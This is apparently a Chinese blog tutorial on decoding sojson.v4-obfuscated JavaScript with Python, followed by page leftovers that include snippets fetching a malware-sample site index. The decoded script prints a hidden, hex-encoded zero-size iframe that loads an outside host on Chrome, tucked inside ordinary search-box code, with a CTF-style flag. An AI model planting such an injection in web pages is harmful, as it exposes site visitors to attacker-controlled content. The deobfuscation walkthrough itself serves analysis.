JS sojson.vX在线解密工具-附源码

前言

此文仅用于技术科普,教育与研究用途,请勿用于商业甚至非法用途,否则一切后果自负。若用户利用此文章而受到惩处,本人及本平台对其行为概不负责,亦不承担任何连带责任。

在线工具

Sojson.v4icon-default.png?t=M85Bhttps://shtool.shserve.cn/Sojsonv4/解密Sojson.v5 解密icon-default.png?t=M85Bhttps://shtool.shserve.cn/Sojsonv5/

故事开始

一位热心的网友提供了一段,sojson.v4加密的源码,就想着怎么解码

原始代码

 

['sojson.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['sojson.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,"118r97A。。。41u59"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('sojson.v4');

可以看出来,sojson.v4是对js脚本使用了unicode编码,在python中就可以解码了。 粘贴到Python控制台,得到

unicode解码

 

['sojson.v4']["filter"]["constructor"](((['sojson.v4']+[])["constructor"]['fromCharCode']['apply'](null,"118r...o41u59"['split'](/[a-zA-Z]{1,}/))))('sojson.v4');

可以看到,括号中的null之后,是用随机字母分割的char数值,使用js的 String.fromCharCode方法解密。

js脚本charcode解码

其中的”118r…o41u59″,可以发现,规律是每两串数字之间是一个大小写字母,写脚本解密

 

>>>s='"118r...o41u59"'

>>> ss = re.sub(r'[a-zA-Z]',' ',s)

>>> sss = ss.split()

>>> for i in sss:

... if int(i) < 256:

... x += chr(int(i))

... else:

... x += 'UUUU'

s脚本里的unicode解码

解密后的脚本里面有中文unicode,其实无需转换。如果一定要转。这么来。

 

>>> for i in sss:

... if int(i) < 256:

... x += chr(int(i))

... else:

... xx = "'\u"+hex(int(i))[2:]+"'"

... x += xx.decode('unicode-escape')

> print x

var controller = $('#search ul.tab').attr('dstype');

if (controller == "Storelist") {

$('#search ul.tab li span').eq(0).html('店铺');

$('#search ul.tab li span').eq(1).html('商品');

$('#search-form').attr("action", HOMESITEURL + "/Storelist/index.html");

} else {

$('#search ul.tab li span').eq(0).html('商品');

$('#search ul.tab li span').eq(1).html('店铺');

$('#search-form').attr("action", HOMESITEURL + "/Search/index.html");

}

var u1=navigator['\x75\x73\x65\x72\x41\x67\x65\x6e\x74'];if(u1['\x69\x6e\x64\x65\x78\x4f\x66']("\x43\x68\x72\x6f\x6d\x65")>-1){window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x72\x63\x37\x30\x32\x2e\x63\x6f\x6d\x3a\x36\x38\x39\x39\x2f\x22 \x62\x6f\x72\x64\x65\x72\x3d\x22\x31\x22 \x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\x22\x31\x22 \x77\x69\x64\x74\x68\x3d\x22\x30\x22 \x68\x65\x69\x67\x68\x74\x3d\x22\x30\x22\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e');var _rbJaSzj2="\x54\x68\x69\x73\x5f\x69\x73\x5f\x61\x5f\x66\x6c\x61\x67"}

$('#search').hover(function() {

$('#search ul.tab li').eq(1).show();

$('#search ul.tab li i').addClass('over').removeClass('arrow');

}, function() {

$('#search ul.tab li').eq(1).hide();

$('#search ul.tab li i').addClass('arrow').removeClass('over');

});

$('#search ul.tab li').eq(1).click(function() {

$(this).hide();

if ($(this).find('span').html() == '店铺') {

$('#keyword').attr("placeholder", "请输入您要搜索的店铺关键字");

$('#search ul.tab li span').eq(0).html('店铺');

$('#search ul.tab li span').eq(1).html('商品');

$('#search-form').attr("action", HOMESITEURL+"/Storelist/index.html");

} else {

$('#keyword').attr('placeholder', '请输入您要搜索的商品关键字');

$('#search ul.tab li span').eq(0).html('商品');

$('#search ul.tab li span').eq(1).html('店铺');

$('#search-form').attr("action", HOMESITEURL+"/Search/index.html");

}

$("#keyword").focus();

});

});

还有一段unicode编码

其中的navigator段代码,做了unicode编码,解开即可。

 

>>> print '''windows["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x72\x63\x37\x30\x32\x2e\x63\x6f\x6d\x3a\x36\x38\x39\x39\x2f\x22 \x62\x6f\x72\x64\x65\x72\x3d\x22\x31\x22 \x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\x22\x31\x22 \x77\x69\x64\x74\x68\x3d\x22\x30\x22 \x68\x65\x69\x67\x68\x74\x3d\x22\x30\x22\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e');var _rbJaSzj2="\x54\x68\x69\x73\x5f\x69\x73\x5f\x61\x5f\x66\x6c\x61\x67"}'''

windows["document"]['write']('<iframe src="http://www.crc702.com:6899/" border="1" frameborder="1" width="0" height="0"></iframe>');var _rbJaSzj2="This_is_a_flag"}

源码下载

JS sojson.vX在线解密工具-附源码-山海云端论坛

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 以下是一个简单的Python代码,可以爬取https://samples.vx-underground.org/samples/Families/网址下的内容并将其下载到本地: ```python import requests url = "https://samples.vx-underground.org/samples/Families/" response = requests.get(url) if response.status_code == 200: contents = response.content with open("downloaded_content.zip", "wb") as f: f.write(contents) else: print("Failed to download content.") ``` 这个代码使用requests库向指定的URL发出GET请求,如果返回状态码为200,说明请求成功。然后,将请求返回的内容保存在一个变量中,再通过Python内置的`open()`函数将内容写入一个文件中,文件名为`downloaded_content.zip`,并指定以二进制模式写入。如果请求失败,则打印一条错误信息。 ### 回答2: 以下是一个用Python爬取网页内容并下载的示例代码: ```python import requests # 定义要爬取的网址 url = 'https://samples.vx-underground.org/samples/Families/' # 发起请求获取网页内容 response = requests.get(url) # 获取响应的二进制内容 content = response.content # 定义要保存的文件路径 file_path = 'downloaded_file.mp3' # 将响应的二进制内容保存到文件中 with open(file_path, 'wb') as file: file.write(content) print('文件下载完成!') ``` 以上代码使用了Python中的requests库来发送HTTP请求,并将网页响应的二进制内容保存到指定文件中。在示例中,我们指定了要下载的网址为'https://samples.vx-underground.org/samples/Families/',文件将被保存为'downloaded_file.mp3'。你可以根据实际需要修改这些值来适应不同的网址和文件路径。 ### 回答3: 以下是一个使用Python爬取https://samples.vx-underground.org/samples/Families/网站内容的示例代码: ```python import requests url = 'https://samples.vx-underground.org/samples/Families/' response = requests.get(url) if response.status_code == 200: content = response.content # 这里可以对获取到的内容进行进一步的处理,比如保存到文件或者解析网页等 print(content) else: print('请求失败') ``` 首先,我们使用`requests`库来发送GET请求获取网页的内容。将目标网址赋值给变量`url`,然后使用`requests.get(url)`发送请求。接着,通过判断响应的状态码`response.status_code`是否等于200来确定请求是否成功。 如果请求成功,就可以通过`response.content`获取网页的原始内容。你可以根据自己的需求对这个内容进行进一步的处理,比如保存到本地文件、解析网页等。 如果请求失败,会打印出"请求失败"的提示信息。你可以根据实际情况进行错误处理。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值